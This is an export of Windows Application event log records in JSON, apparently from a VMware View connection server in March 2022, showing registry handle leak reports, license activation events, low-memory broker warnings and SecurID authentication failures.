{"@timestamp":1646921873602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"10 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-25127:\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\System\\GameConfigStore\\Parents\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\System\\GameConfigStore\nProcess 68 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 8184 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 2004 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 8184 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 8184 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 8184 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Main\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\System\\GameConfigStore\\Children\nProcess 8184 (<Unknown>) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-25127\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":168344}}
{"@timestamp":1646921875836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168345}}
{"@timestamp":1646921949409,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168346}}
{"@timestamp":1646922813689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 10 15:33:33 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168347}}
{"@timestamp":1646925865010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168348}}
{"@timestamp":1646966017592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Mar 11 03:33:37 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168349}}
{"@timestamp":1646968639080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168350}}
{"@timestamp":1647009221537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Mar 11 15:33:41 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168351}}
{"@timestamp":1647012205946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user daniel.drescher\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Fri Mar 11 16:23:25 CET 2022\n\tModule=Broker\n\tUserDisplayName=daniel.drescher\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168352}}
{"@timestamp":1647012493536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168353}}
{"@timestamp":1647027090902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168354}}
{"@timestamp":1647052425528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Mar 12 03:33:45 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168355}}
{"@timestamp":1647076806372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Sat Mar 12 10:20:06 CET 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168356}}
{"@timestamp":1647088424245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168357}}
{"@timestamp":1647095629435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Mar 12 15:33:49 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168358}}
{"@timestamp":1647099121382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168359}}
{"@timestamp":1647138833374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Mar 13 03:33:53 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168360}}
{"@timestamp":1647150596786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168361}}
{"@timestamp":1647182037335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Mar 13 15:33:57 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168362}}
{"@timestamp":1647185747852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168363}}
{"@timestamp":1647212349550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168364}}
{"@timestamp":1647225241278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 14 03:34:01 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168365}}
{"@timestamp":1647268445615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 14 15:34:05 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168366}}
{"@timestamp":1647272374941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168367}}
{"@timestamp":1647274342111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168368}}
{"@timestamp":1647311649592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 15 03:34:09 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168369}}
{"@timestamp":1647337594708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168370}}
{"@timestamp":1647352805594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","8024000b","B0E5E002-5B5B-4900-96C5-17526B0FCB13","Install","200","0","8024000b","Windows Defender","{9482F4B4-E343-43B6-B170-9A65BC822C77}","0","","","","0","36cf4979-a468-11ec-b81b-a42a1676f0c6","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":168371}}
{"@timestamp":1647354853599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 15 15:34:13 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168372}}
{"@timestamp":1647359002840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"Perflib"},"binaryData":"0200000000000000","binaryDataSize":8,"param1":"BITS","param2":"C:\\Windows\\System32\\bitsperf.dll"}}},"module":"Application","provider":"Microsoft-Windows-Perflib","sequence":168373}}
{"@timestamp":1647397847200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168374}}
{"@timestamp":1647398057701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 16 03:34:17 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168375}}
{"@timestamp":1647441261886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 16 15:34:21 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168376}}
{"@timestamp":1647443694762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_USER_AUTHFAILED_SECUREID_ACCESS_DENIED\nSecurID access denied for user horvatht\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=AUDIT_FAIL\n\tTime=Wed Mar 16 16:14:54 CET 2022\n\tModule=Broker\n\tUserDisplayName=horvatht\n\tSource=net.propero.portal.filters.SecurIDAuthFilter3\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168377}}
{"@timestamp":1647443705454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/05:15:14:05;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168378}}
{"@timestamp":1647443706883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600F42E49281A9461E6032D80252B3EF9F2892389049319DB22AC744D9D0835B930915189BECF8A9EFF195B07C012AD6A134C600E86854C3C09E8FF946EE555C3AF897DF25D88E2C61E1AA04E28E25155B922F8F6B5233FC91FEA108B6879E23717425E0FA7B81ED0C099391E942B0E884434647914C5B63170FE803CC00097C837C17320D84AE8F7DFCA7B2A4ED88F1775BAE9F71DC19E693F476D414E8147FBC66FA6645B3E13C03771ED40AA87F6A751D4BDBA9C10CBE037278B1E6CAEAE680A5C12F29040B118613315B730DA50CAF7E3582E43034F90596B1CB224183D704B476B82D80058875A65E4E9D25E867D0B10B87A045A136A208C432CDE57D1AFB6","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/03/16 15:15, 0, 1, 249119, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168379}}
{"@timestamp":1647443707017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"000006001BBC4299967E48E8E2C71065C05CB40C23F887DCC3B5554A70EF36BF5D9709EFF901D930BA24CCD3265F596DB75E727A14271F758736A74853ABCF339DFA05FD29D1DB658A908DDF3C1C76F4578295F2618740BBC204BE299B8195D0518D6AF22C678A499BE7D4381BAC56A5AD9FF6818FB39348065CC6730826D95C6D7D0605747909479E64E63A93E256DE4E83842ACFF77D6DF5DCA242459E439E56F9A23C7397D26426857421E1915E8C4D6F6A2B1445295BD53CE9C03555D820BB35ABB195741F04B060398F028BA9C33B321C838D5C7C1C2DEB649D0E99C0D4B77F22850175A2AA7C57B528DD3920FE4D93F3DDDFFB5437750041A8C05A00DB5E8DDCED","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/03/16 15:15"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168380}}
{"@timestamp":1647443707155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168381}}
{"@timestamp":1647443707157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168382}}
{"@timestamp":1647443707158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168383}}
{"@timestamp":1647443707219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168384}}
{"@timestamp":1647443707316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168385}}
{"@timestamp":1647443707339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168386}}
